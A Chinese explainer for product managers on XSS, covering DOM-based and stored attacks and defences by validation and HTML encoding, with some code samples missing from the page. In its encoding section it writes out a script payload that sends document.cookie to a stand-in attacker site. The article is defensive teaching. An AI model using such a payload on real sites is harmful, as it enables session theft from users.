神刀安全网

给产品经理讲技术|Web安全之:XSS漏洞

【文章摘要】XSS漏洞的根源就是没有对参数或一些可执行代码进行校验或过滤,所以解决办法就是进行校验或对一些可执行代码变为普通文本,废掉可执行能力,也就防住了XSS漏洞。

给产品经理讲技术|Web安全之:XSS漏洞

【相关推荐】

给产品经理讲技术丨端口二三话

给产品经理讲技术|程序员冒死揭露黑产系列之:“ARP”攻击

给产品经理讲技术丨没线,并不可怕?

给产品经理讲技术丨提需求的正确姿势是什么

给产品经理讲技术丨产品后悔药来了,讲讲热补丁技术

XSS(Cross Site Script)称为「跨站脚本攻击」,按照首字母缩写应该叫CSS,但是CSS已经被用来装修Html,所以就改叫XSS。

由名字推断,跨站一定是由两个网站参与的,脚本指的是JavaScript,也就是利用JavaScript产生的一个网站攻击另一个网站的安全问题。

XSS如何发生的呢?XSS长什么样子呢?听哥娓娓道来。

Dom-Based XSS(基于Dom的XSS漏洞)

我发现A网站存在XSS漏洞,就是没有对URL中的参数进行校验,比如http://www.a.com/index.html?param=guoguo,网站就输出param的值guoguo。这个网站的后台大概是这样:

客官请注意,这个网站的后台并没有针对param参数进行任何的检查,直接就打印在了网页中,我输入“果果”当然就显示为“A guest Comes 果果”,没有任何问题。

但是对于一个攻击者来说:他可能做的事情是拼装这样一个URL:http://www.a.com/index.html?param=

看到了没,攻击者将一段javascript脚本(script标签之内的部分)插入到了这个URL中,这样到了服务器端执行的时候,也就是整个网页讲被替换为:

这样这段js脚本被执行,打开了B网站,并把当前A网站的Cookie信息带去了B网站,你的Cookie泄漏了,这是很危险的哦,比如我们以前讲过的黑产系列,你的Cookie很可能包含你的一些购买意愿和用户数据。你要是一直在搜索充气娃娃,那就要小心了哦,你的邮箱里面没准也会出现类似的推广,哈哈。

一些乱七八糟的推广链接不要打开,一些网站上的种子链接也希望你能够甄别,确保万无一失,不然,重新装一次系统也挺麻烦的。

这种类型的XSS受害人数应该说还不是很多,因为这种链接扩散出去必然出现一个比较大的漏斗。

Stored XSS(存储型XSS)

A网站新上线了发布文章的功能,我发现这个功能仍然有XSS漏洞,并没有对文章中的JavaScript进行过滤和屏蔽,所以我写了一篇关于吃货的实用贴,这篇文章大受欢迎,并在文章中加入了的恶意代码,这样只要看过我文章的人的cookie都被发送到了我搭建的B网站,这些Cookie被聚集起来,后面还有很长的产业链的。

这两种类型的XSS,前一种影响用户的面积相对小一点,后一种就影响了大面积的用户。

XSS漏洞的根源就是没有对参数或一些可执行代码进行校验或过滤,所以解决办法就是进行校验或对一些可执行代码变为普通文本,废掉可执行能力,也就防住了XSS漏洞。

如果进行校验呢,比如一些网站注册的时候填写邮箱,哪个框中会进行复杂的校验,比如如果没有带@符号,不认为是邮箱,输入@abc.com,不认为是邮箱等等。比如填写手机号码,不是11位,也不让提交到服务器。这些都是最基础的校验,保证输入到后台的数据是合乎规范的。

另外针对文章中的JavaScript,比如Stored XSS中提到的那样,通常的处理方法是进行Html Encode,也就是令一些特殊字符转为其他字符,比如<专为<>转为>,在前端展示出来的时候,浏览器会将其转码,并显示为内容,不会执行,拿刚才案例来说,这段代码会被转成<script>window.open(“www.b.com?param=”+document.cookie)</script>存储。

理论上,如果你不对输入参数进行防护,都会造成XSS漏洞,目前是有很多工具可以扫描XSS漏洞的,上线之前一定扫扫哦。

欢迎添加微信公众号:给 产品经理 讲技术

给产品经理讲技术|Web安全之:XSS漏洞

本文由产品100为你推荐并呈现

文章来源:微信公众号:给产品经理讲技术(ID:pm_teacher)

文章作者:果果

友情提示:

若出处标注错误,请联系QQ:2977686517及时更正,感谢理解和支持!

少年关注我们的官方微博@产品100和微信订阅号:chanpin100ghsd,有惊喜哦!

给产品经理讲技术|Web安全之:XSS漏洞

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 给产品经理讲技术|Web安全之:XSS漏洞

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址